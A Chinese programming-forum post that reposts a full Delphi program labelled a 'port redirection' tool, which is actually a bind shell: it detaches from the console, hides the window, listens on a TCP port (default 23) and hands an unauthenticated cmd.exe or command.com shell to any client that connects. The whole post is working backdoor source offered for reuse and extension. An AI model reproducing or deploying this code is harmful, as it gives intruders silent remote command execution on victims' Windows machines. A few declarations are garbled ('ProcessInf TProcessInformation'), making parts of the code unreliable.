HanDs
管理员

[Delphi文章] 端口重定向程序Delphi版 



program Redir;
{
端口重定向程序Delphi版.
说明:这个代码是根据一个C语言代码翻译并修改过来的.
目前是基于单连接,大家可以方便的改成多连接.
lovejingtao.
http://www.138soft.com.2004,3,25.
运行本程序,格式如下:
1:Redir.exe 980
在980端口监听TelNet连接
2:Redir.exe
默认在23端口进行监听TelNet连接然后使用Windows自带的TelNet登陆即可.
}

uses
  Windows, WinSock;

{$R *.res}
{会话结构}
type
  MySessionRecord = record
    ReadPipeHandle: THandle;
    WritePipeHandle: THandle;
    ProcessHandle: THandle;
    ClientSocket: TSocket;
    ReadShellThreadHandle: THandle;
    WriteShellThreadHandle: THandle;
  end;
  TMySessionRecord = MySessionRecord;
  PMySessionRecord = ^MySessionRecord;
const
  NULL = 0;
var
  cmdline: pchar = ''; {全局变量.}
function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE; forward;
procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; forward;
procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; forward;
// **********************************************************************
//
// CreateSession 创建一个新对话.包括创建一个shell进程和建立一个通信管道
//
function CreateSession(var MySession: TMySessionRecord): Boolean;
var
  Security: TSecurityAttributes;
  ShellStdinPipe, ShellStdOutPipe: THandle;
label Failure;
begin
  Result := False;
  FillChar(Security, sizeof(TSecurityAttributes), #0);
  Security.nLength := sizeof(TSecurityAttributes);
  Security.lpSecurityDescriptor := nil; // Use default ACL
  //设置允许继承,否则在NT和2000下无法取得输出结果
  Security.bInheritHandle := TRUE; // Shell will inherit handles
  if not Createpipe(MySession.ReadPipeHandle, ShellStdOutPipe, @Security, 0) then Exit;
  if not Createpipe(ShellStdInPipe, MySession.WritePipeHandle, @Security, 0) then Exit;
  MySession.ProcessHandle := StartShell(ShellStdinPipe, ShellStdOutPipe);
  CloseHandle(ShellStdinPipe);
  CloseHandle(ShellStdOutPipe);
  if MySession.ProcessHandle = NULL then goto Failure;
  MySession.ClientSocket := INVALID_SOCKET;
  Result := True;
  Exit;
//--------出错处理
  Failure:
  begin
    if ShellStdinPipe <> NULL then CloseHandle(ShellStdinPipe);
    if ShellStdOutPipe <> NULL then CloseHandle(ShellStdOutPipe);
    if MySession.ReadPipeHandle <> NULL then CloseHandle(MySession.ReadPipeHandle);
    if MySession.WritePipeHandle <> NULL then CloseHandle(MySession.WritePipeHandle);
  end;
end;

function DoExec(MySocket: TSocket): Bool;
var
  MySession: TMySessionRecord;
  Security: TSecurityAttributes;
  ThreadId: DWORD;
  HandleArray: array[0..2] of THANDLE;
  i: integer;
begin
  Result := False;
  FillChar(Security, sizeof(TSecurityAttributes), #0);
  Security.nLength := sizeof(TSecurityAttributes);
  Security.lpSecurityDescriptor := nil;
  Security.bInheritHandle := TRUE;
  CreateSession(MySession); {创建对象}
  MySession.ClientSocket := MySocket;
  MySession.ReadShellThreadHandle := CreateThread(
    @Security,
    0,
    @SessionReadShellThreadFn,
    @MySession,
    0,
    ThreadId
    );
  if MySession.ReadShellThreadHandle = NULL then
  begin
    MySession.ClientSocket := INVALID_SOCKET;
    Exit;
  end;
  MySession.WriteShellThreadHandle := CreateThread(
    @Security,
    0,
    @SessionWriteShellThreadFn,
    @MySession,
    0,
    ThreadId
    );
  if MySession.WriteShellThreadHandle = NULL then
  begin
    MySession.ClientSocket := INVALID_SOCKET;
    TerminateThread(MySession.WriteShellThreadHandle, 0);
    Exit;
  end;
  HandleArray[0] := MySession.ReadShellThreadHandle;
  HandleArray[1] := MySession.WriteShellThreadHandle;
  HandleArray[2] := MySession.ProcessHandle;
  i := WaitForMultipleObjects(3, @HandleArray, FALSE, $FFFFFFFF);
  case i of
    WAIT_OBJECT_0 + 0:
      begin
        TerminateThread(MySession.WriteShellThreadHandle, 0);
        TerminateProcess(MySession.ProcessHandle, 1);
      end;
    WAIT_OBJECT_0 + 1:
      begin
        TerminateThread(MySession.ReadShellThreadHandle, 0);
        TerminateProcess(MySession.ProcessHandle, 1);
      end;
    WAIT_OBJECT_0 + 2:
      begin
        TerminateThread(MySession.WriteShellThreadHandle, 0);
        TerminateThread(MySession.ReadShellThreadHandle, 0);
      end;
  else ;
  end;
  closesocket(MySession.ClientSocket);
  DisconnectNamedPipe(MySession.ReadPipeHandle);
  CloseHandle(MySession.ReadPipeHandle);
  DisconnectNamedPipe(MySession.WritePipeHandle);
  CloseHandle(MySession.WritePipeHandle);
  CloseHandle(MySession.ReadShellThreadHandle);
  CloseHandle(MySession.WriteShellThreadHandle);
  CloseHandle(MySession.ProcessHandle);
  Result := True;
end;

function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE;
var
  ProcessInf TProcessInformation;
  si: TStartUpInfo;
  ProcessHandle: THANDLE;
begin
  //
  // Initialize process startup info
  //
  FillChar(si, Sizeof(TStartUpInfo), #0);
  si.cb := sizeof(si);
  si.lpReserved := nil;
  si.lpTitle := nil;
  si.lpDesktop := nil;
  si.dwYSize := 0;
  si.dwXSize := 0;
  si.dwY := 0;
  si.dwX := 0;
  si.wShowWindow := SW_HIDE;
  si.lpReserved2 := nil;
  si.cbReserved2 := 0;
  //使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.hStdInput := ShellStdinPipeHandle;
  si.hStdOutput := ShellStdoutPipeHandle;
  DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,GetCurrentProcess(), @si.hStdError,DUPLICATE_SAME_ACCESS, TRUE, 0);
  if (CreateProcess(nil, cmdline, nil, nil, TRUE, 0, nil, nil,
    si, ProcessInfo)) then
  begin
    ProcessHandle := ProcessInfo.hProcess;
    CloseHandle(ProcessInfo.hThread);
  end
  else
    ; //Showmessage('error');
  Result := ProcessHandle;
end;

procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; {从控制台读取信息并发送到客户端}
var
  MySession: TMySessionRecord;
  Buffer1: array[0..199] of char;
  Buffer2: array[0..229] of char;
  BytesRead: DWORD;
  BufferCnt, BytesToWrite: DWORD;
  PrevChar: char;
begin
  MySession := TMySessionRecord(Parameter^);
  while (PeekNamedPipe(MySession.ReadPipeHandle, @Buffer1, sizeof(Buffer1), @BytesRead, nil, nil)) do
  begin
    PrevChar := #0;
    if BytesRead > 0 then ReadFile(MySession.ReadPipeHandle, Buffer1, sizeof(Buffer1), BytesRead, nil)
    else begin Sleep(50); continue; end;
    BufferCnt := 0;
    BytesToWrite := 0;
    while BufferCnt < BytesRead do
    begin
      if (Buffer1[BufferCnt] = #10) and (PrevChar <> #13) then
      begin
        Buffer2[BytesToWrite] := #13;
        inc(BytesToWrite);
      end;
      Buffer2[BytesToWrite] := Buffer1[BufferCnt];
      inc(BytesToWrite);
      PrevChar := Buffer2[BytesToWrite];
      inc(BufferCnt);
    end;
    if (send(MySession.ClientSocket, Buffer2, BytesToWrite, 0) <= 0) then break;
  end;
  if (GetLastError() <> ERROR_BROKEN_PIPE) then ; //Showmessage('Error!');
  ExitThread(0);
end;

procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; {接收网络指令并写入控制台}
var
  MySession: TMySessionRecord;
  RecvBuffer: array[0..0] of Char;
  Buffer: array[0..199] of Char;
  EchoBuffer: array[0..4] of Char;
  BytesWritten: DWORD;
  BufferCnt, EchoCnt: DWORD;
  strBye: string;
begin
  MySession := TMySessionRecord(Parameter^);
  BufferCnt := 0;
  while (recv(MySession.ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) <> 0) do
  begin
    EchoCnt := 0;
    EchoBuffer[EchoCnt] := RecvBuffer[0];
    Buffer[BufferCnt] := EchoBuffer[EchoCnt];
    Inc(EchoCnt); Inc(BufferCnt);
    if Pos('bye', Buffer) > 0 then
    begin
      strBye := #13#10 + '谢谢使用!再见!' + #13#10;
      send(MySession.ClientSocket, strBye[1], length(strBye), 0);
      ExitThread(0);
    end;
    if (RecvBuffer[0] = #10) or (RecvBuffer[0] = #13) then
    begin
      if (not WriteFile(MySession.WritePipeHandle, Buffer, BufferCnt,
        BytesWritten, nil)) then
      begin
        break;
      end;
      BufferCnt := 0;
    end;
  end;
  ExitThread(0);
end;

 

function BindSocket(port: integer; var MyServerSocket: TSOCKET): Bool;
var
  server: sockaddr_in;
  i: integer;
begin
  Result := False;
  MyServerSocket := socket(AF_INET, SOCK_STREAM, 0);
  if (MyServerSocket < 0) then Exit; //Failed to Socket()
  for i := port to 65535 do
  begin
    server.sin_family := AF_INET;
    server.sin_port := htons(port);
    server.sin_addr.s_addr := INADDR_ANY;
    if (bind(MyServerSocket, server, sizeof(server)) = 0) then break;
  end;
  if (MyServerSocket = INVALID_SOCKET) then Exit; //Failed to Bind()
  if (listen(MyServerSocket, 1) <> 0) then Exit; //Failed to Listen()
  Result := True;
end;

function SystemIsNT: Boolean;
var
  OSVersionInf TOSVersionInfo;
begin
  OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
  GetVersionEx(OSVersionInfo);
  Result := OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT;
end;
var
  wsa: WSADATA;
  RecvPort, iCode: integer;
  ServerSocket: TSocket;
  client: sockaddr_in;
  RecvSock: integer;
  namelen: integer;
  strWelcome: string;
  strPort: string;
begin
  FreeConsole();
  if (WSAStartup(MAKEWORD(1, 1), wsa) <> 0) then
  begin
    //Showmessage('Windows socket version is unmatching.');
    Exit;
  end;
  strPort := ParamStr(1);
  Val(strPort, RecvPort, iCode);
  if iCode <> 0 then RecvPort := 23;
  if not BindSocket(RecvPort, ServerSocket) then
  begin
    //Showmessage('Failed to bind port.');
    Exit;
  end;
  namelen := sizeof(client);
  RecvSock := accept(ServerSocket, @client, @namelen);
  if (RecvSock = -1) then
    //Showmessage('Failed to listen port.') //Failed to Accept()
  else
  begin
    strWelcome := #13 + #10 + '-------------------------------------------' + #13#10#13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    strWelcome := ' Telnet服务器V1.0(for 98/me/nt/2K/xp) ' + #13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    strWelcome := #13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    strWelcome := ' 输入bye退出程序.' + #13#10#13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    strWelcome := ' http://www.138soft.com.'+#13#10#13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    strWelcome := '-------------------------------------------' + #13#10#13#10;
    send(RecvSock, strWelcome[1], length(strWelcome), 0);
    if SystemIsNT then cmdline := 'cmd.exe'
    else cmdline := 'command.com';
    doexec(RecvSock);
  end;
  WSACleanup();
end.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
定向 程序 D el ph i
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复